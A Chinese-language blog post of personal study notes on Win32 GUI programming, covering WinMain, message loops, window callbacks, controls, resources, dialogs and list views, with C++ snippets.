windows是操作消息的,它有一个消息队列,可获取如鼠标键盘产生的消息;

数据类型

  • UINT unsigned int

  • DWORD double word

  • PDWORD pointer double word

  • BOOL bool

  • short short int

  • LRSULT 32 函数返回值

  • WPARAM LPARAM 32 消息参数

  • HANDLE 理解成windows对象,句柄

  • HWND 窗口句柄

  • HINSTANCE 实例句柄

主函数

1
2
3
4
5
6
int WINAPI WinMain(
HINSTANCE hInstance, //程序的实例句柄
HINSTANCE hPreInstance, //上一个程序实例句柄(遗弃)
LPSTR lpCmdLine, //命令行参数
int nCmdShow //显示方式(最大化,窗口)
)

参数一个不能少;

弹窗

1
2
3
4
5
6
int MessageBox(
HWND hWnd; //所有者窗口句柄(父级窗口) 无可填NULL
LPCTSTR lpText; //显示内容
LPCTSTR lpCaption, //标题
UINT uType //风格(确认,取消一类的按键)
);

选择不同的按键返回不同的值;

字符串处理

  • ascii码对应普通字符串 CHAR -> char
  • utf系列对应宽字符串 WCHAR -> wchar_t 输出是 %ls 用 L 修饰
  • 通用字符串 TCHAR -> 类型随环境变化,引用 tchar.h 头 用_T()修饰;

由此引申出了三个版本的操作函数;

长度操作

strlen wcslen _tcslen

字符串转数字

atoi strtol

_wtoi wcstol

_ttoi tcstol

数字转字符串

itoa _itow _itot

因为字符串,所以分三个版本:A W T;

如 MessageBoxA ,以及 MessageBoxW ,前者处理多字节,后者处理宽字节;

字节转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
//宽字节转多字节  (用的时候直接用宏定义)
WideCharToMultiByte()
---
#define WCHAR_TO_CHAR(lpW_Char, lpChar) \
WideCharToMultiByte(CP_ACP, NULL, lpW_Char, -1, \
lpChar, sizeof(lpChar), NULL, FALSE)

//多字节转宽字节
MultiByteToWideChar()
---
#define CHAR_TO_WCHAR(lpChar, lpWchar) \
MultiByteToWideChar(CP_ACP, NULL, lpChar, -1, \
lpWchar, sizeof(lpWchar))

创建窗口

先创建WinMain函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
//都用W版本
//创建窗口类
WNDCLASSW wnd = { 0 };
wnd.lpszClassName = L"Second_BC"; //类名唯一
wnd.lpfnWndProc = WindowProc; //窗口回调函数

//注册窗口类
RegisterClassW(&wnd);

//创建窗口
HWND window = CreateWindowW(
wnd.lpszClassName, //类名
L"1049", //窗口名
WS_OVERLAPPEDWINDOW,//风格
CW_USEDEFAULT, //x,y坐标,默认款式
0,
CW_USEDEFAULT, //长宽,默认款式
0,
NULL, //父窗口的句柄
NULL, //菜单
hInstance, //实例句柄
0 //传给回调函数参数
);

//显示窗口
ShowWindow(
window, //窗口句柄
SW_NORMAL //默认显示方式
);

//获取消息
MSG msg = { 0 }; //消息类
while (GetMessageW( //不断获取消息
&msg, //消息类
0, //窗口句柄 0默认全部窗口
0, //消息类型默认
0
))
{
DispatchMessageW(&msg); //分发消息给处理函数
}
return 0;
}

处理函数\回调:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LRESULT CALLBACK WindowProc(
_In_ HWND hwnd, //窗口句柄
_In_ UINT uMsg, //消息
_In_ WPARAM wParam, //参数
_In_ LPARAM lParam
)
{
switch (uMsg) //操作消息
{
case WM_CLOSE:
DestroyWindow(hwnd);//销毁窗口
PostQuitMessage(0); //退出消息,终止循环
break;
default:
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam); //默认窗口处理
}

简单说说回调函数机制:

每个窗口类会带有一个回调函数,用于处理这个类创建的窗口所获取的信息;

在无限循环的信息捕获中,当收到信息后(晃动鼠标,点击,按键),则使得 DispatchMessageW(&msg); 激活,调用指定窗口回调函数;

在这里指定窗口是 0 ,则是所有窗口;

回调函数中,为了当 点击叉掉 窗口时就 结束程序 就应该设置 退出信息 : WM_CLOSE 摧毁窗口,并退出 postmessage,此时就会退出在主函数里的循环;

回调函数的参数,第二个是信息,第三第四个是一些参数,这些参数有一定的作用,可以知道实际的状态:键盘按下但无弹起 / 鼠标处于窗口位置,等等;

消息处理

定义在 WINUSER.H 中, 以 WM_开头 (windows message);

类型

  1. 窗口消息,如之前遇到的 WM_CLOSE

  2. 命令消息,特指 WM_COMMAND ,点击菜单,控件等会产生;

    WM_COMMAND LOW WPARAM HIGH WPARAM LPARAM
    标准控件 id 响应码 控件句柄
    快捷键 id 1 0
    菜单 id 0 0
  3. 通知消息,特指 WM_NOTIFY ,只使用 用 windows 的公共控件,如列表,视图;

    WM_NOTIFY WPARAM LPARAM
    id NMHDR指针

    NMHDR -> notify message header

控件消息,如:

BM_ 按钮

EM_ 编辑框

STM_ 静态文本

CM_ 组合框

LBM_ 列表

以及用户自定义消息,消息号大于 WM_USER ;

发送

PostMessage, SendMessage;

前者放到消息队列,后者主动调用 指定的回调函数;

变参函数

用于如printf输出宽字节;

1
2
3
4
5
6
7
8
9
10
void func(LPCWSTR format, ...)
{
WCHAR wchar_buff[100]{ 0 };
va_list arglist; //本质char类型,用于存放后面的参数

va_start(arglist, format); //第二个参数是指针起始+1,也就是后面的参数
wvsprintfW(wchar_buff, format, arglist);
va_end(arglist); //结束
wprintf(format, wchar_buff); //输出
}

窗口控件

使用控件引头文件: <CommCtrl.h>

窗口风格分两类:

窗口关系:

1
2
3
WS_OVERLAPED	重叠
WS_POPUP 弹窗
WS_CHILD 子窗口

窗口外观:

1
2
WS_BORDER
WS_CAPITON

它们之间可以用 | 运算结合使用;

控件的本质,还是窗口,在父窗口创建开始添加即可;

标准控件:

类名 名称
WC_BUTTON 按钮
WC_STATIC 静态文本
WC_COMBOBOX 复合框
WC_EDIT 编辑框
WC_LISTBOX 列表框
WC_SCROLLBAR 滚动条

通用控件,如:

WC_LISTVIEW 列表框控件

WC_TREEVIEW 树控件

WC_TABCONTROL Tab控件

子控件响应父窗口,使用 命令消息 和 通知消息,标准控件使用前者,通用控件使用后者;

修改之后的回调函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
LRESULT CALLBACK WindowProc(
_In_ HWND hwnd, //窗口句柄
_In_ UINT uMsg, //消息
_In_ WPARAM wParam, //参数
_In_ LPARAM lParam
)
{
static HINSTANCE hInstance = GetModuleHandleW(NULL); //NULL默认获取当前程序实例句柄

switch (uMsg) //操作消息
{
case WM_CREATE:
//创建窗口时创建子控件,menu栏是控件ID,存于wParam低位,lParam存控件句柄
CreateWindowW(WC_BUTTON, L"Button", WS_CHILD | WS_VISIBLE, 10, 10, 80, 30, hwnd, (HMENU)0x100, hInstance, 0);
break;
case WM_CLOSE:
DestroyWindow(hwnd);//销毁窗口
PostQuitMessage(1); //退出消息
break;

case WM_COMMAND:
{
//激活控件,获取控件ID,执行相应操作
WORD controlId = LOWORD(wParam);
switch (controlId)
{
case 0x100:
MessageBoxW(hwnd, L"Click", L"Button", MB_OK);
break;
}
break;
}

}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

如上可以实现一个按钮弹窗功能;

窗口操作函数

背景刷

1
wnd.hbrBackground = CreateSolidBrush(RGB(255, 255, 255));		//白色背景

移动窗口位置

1
2
3
4
5
6
7
RECT rect{ 0 };
GetClientRect(hwnd, &rect); //获取窗口工作区范围,返回给rect结构体

int x = rand() % (rect.right - weight); //x,y坐标在工作范围内随机取
int y = rand() % (rect.bottom - height);

MoveWindow((HWND)lParam, x, y, weight, height, TRUE); //移动窗口函数

获取和设置文本框内容

1
2
3
4
5
6
7
8
9
10
HWND hedit = GetDlgItem(hwnd, 0x102);		//获取文本框句柄,第一个是父窗口句柄,第二个是id
WCHAR buffer[max]{ 0 }; //缓冲区

GetWindowTextW(hedit, buffer, max); //用按钮实现
SetWindowTextW(hedit, L"123");
---
//实际上,对于Dlg的操作可以简化,下面等价于获取hedit之后写文本框
SetDlgItemTextW(hwnd, 0x102, L"123");

TranslateMessage(&msg); //放到message循环里,接收键盘信息编辑文本框

根据窗口名获取句柄

1
HWND hwnd = FindWindowW(ClassName, Name);		//第一个窗口类名,第二个窗口名,不知道可以填0

设置父窗口

1
SetParent((HWND)lParam, hwnd);			//第一个是要被设置的,第二个是新的父窗口

资源操作

资源就是icon,光标,菜单一类的东西;

在VS里,代码下方可以创建资源,资源创建后,有资源本身,有.rc文件,以及resource.h头文件;

.rc保存了资源本身在文件中的宏命名,一般是int型,而头文件则是声明;

引入头后,使用 LoadXXX 函数获取资源句柄(XXX为资源类型,如图标是Icon);

1
LoadCursor(hInstance, MAKEINTRESOURCE(IDC_CURSOR1))

参数类型第一个为实例句柄,第二个为资源宏,本质上是个指针,所以要强转,微软自带强转宏函数 MAKEINTRESOURCE()

使用如下代码设置类成员:

1
2
//三个参数,第一个为窗口句柄,第二个为GCL_开头宏对应成员如GCL_ICON,第三个为设置的句柄,记得强转long
SetClassLong(hwnd, GCL_ICON, (long)handle);

菜单可以加载后给CreateWindow函数;

子菜单响应也是 WM_COMMAND;

使用以下函数获取子菜单以及弹出菜单:

1
2
GetSubMenu(hMenu, 0); 		//第一个父菜单,第二个相对于父菜单位置
TrackPopupMenu(hMenu, TPM_RIGHTALICGN, x, y, 0, hWnd, NULL); //第二个为对齐方式

转换坐标当前窗口

1
2
3
4
POINT point { 0 };
point.x = x;
point.y = y;
ClientToScreen(hwnd, &point);

对话框

模态的会阻塞主窗口(无法点击主窗口),非模态不会;

创建非模态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
CreateDialogW(		
hInstance,
dialogName, //ID
NULL, //父窗口句柄
Dlgproc //回调函数
);

INT_PTR CALLBACK Dlgproc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
switch(uMsg)
{
case WM_INITDIALOG: //初始化
{

break;
}
case WM_CLOSE:
{
DestroyWindow(hWnd);
QuitPostMessage(0);
break;
}
default:
return FALSE; //没能处理返回无
}

return TRUE; //处理返回真
}

创建模态:

它不需要捕获信息,也不需要显示

1
2
3
DialogBoxW( /* same */)
//结束
EndDialog(hWnd, 0);

介绍一些简单的控件:

windowsx.h 头有定义操作控件信息的宏,可读性更高;

复选框,单选框,属于按钮类,其信息为 BM_打头;

图片,其信息 STM_打头;

滑块和进度条,其信息 TBM_ PBM_ 打头;

列表控件

任务管理器就是一个列表;

其重要的信息是 : LVM_INSERTCOLUMN ,插入索引;

其会用到一个结构:LVCOLUMN,其中标识了列表信息;

mask是掩码,说明了之后的成员有效性;

fmt是对齐方式,cx是大小,pszText为名字;

插入行: LVM_INSERTITEM

设置行: LVM_SETITEMTEXT

其结构和上面类似,叫 LVITEM;

item是第几行,subitem是第几列;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BOOL InsertColum(HWND hwnd, int id, int nColum, int cx, LPWSTR name)
{
LVCOLUMNW lvColumn = { 0 };
lvColumn.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT;
lvColumn.fmt = LVCFMT_CENTER;
lvColumn.cx = cx;
lvColumn.pszText = name;
SendDlgItemMessageW(hwnd, id, LVM_INSERTCOLUMNW, nColum, (LPARAM) & lvColumn);
return TRUE;
}

BOOL InsertItem(HWND hwnd, int id, int item)
{
LVITEMW lvItem = { 0 };
lvItem.mask = LVIF_TEXT;
lvItem.iItem = item;
lvItem.pszText = (LPWSTR)L"";
SendDlgItemMessageW(hwnd, id, LVM_INSERTITEMW, 0, (LPARAM)&lvItem);
return TRUE;
}

BOOL SetListItemText(HWND hwnd, int id, int item, int subItem, LPWSTR name)
{
LVITEMW lvItem = { 0 };
lvItem.mask = LVIF_TEXT;
lvItem.iItem = item;
lvItem.iSubItem = subItem;
lvItem.pszText = name;
SendDlgItemMessageW(hwnd, id, LVM_SETITEMTEXTW, item, (LPARAM)&lvItem);
return TRUE;
}

添加样式:

1
sendDlgItemMessageW(hwnd, id, LVM_SETEXTENDEDLISTVIEWSTYLE, 0, style)

常用style有:LVS_EX_FULLROWSELECT , 全行选中;

​ LVS_EX_GRIDLINES , 添加网格;

点击其成员触发notify信息,其有 NMHDR 结构:

1
2
3
4
5
typedef struct _nmhdr {
HWND hwndFrom; //发起信息句柄
UINT idFrom; //id
UINT code; //操作码
} NMHDR;

如果确认控件是list,则结构体为 NMLISTVIEW ,为 NMHDR 的继承;

捕获点击消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
case WM_NOTIFY:
{
NMHDR* pnmHeader = (NMHDR*)lParam;
switch(pnmHeader->code)
{
case NM_CLICK:
{
...
break;
}
}
break;
}

这种捕获类似于下拉表;

获取dll文件函数:

1
2
3
HMODULE hModule = LoadLibraryW(L"./mydll.dll");
GetProcAddress(hModule, "func_name"); //返回一个函数指针
FreeLibrary(hModule);

Lab

搓了个CPP的类粘合着窗口化编程使用做了个小程序,提取码 a333 ;

原神伤害云计算

阅读全文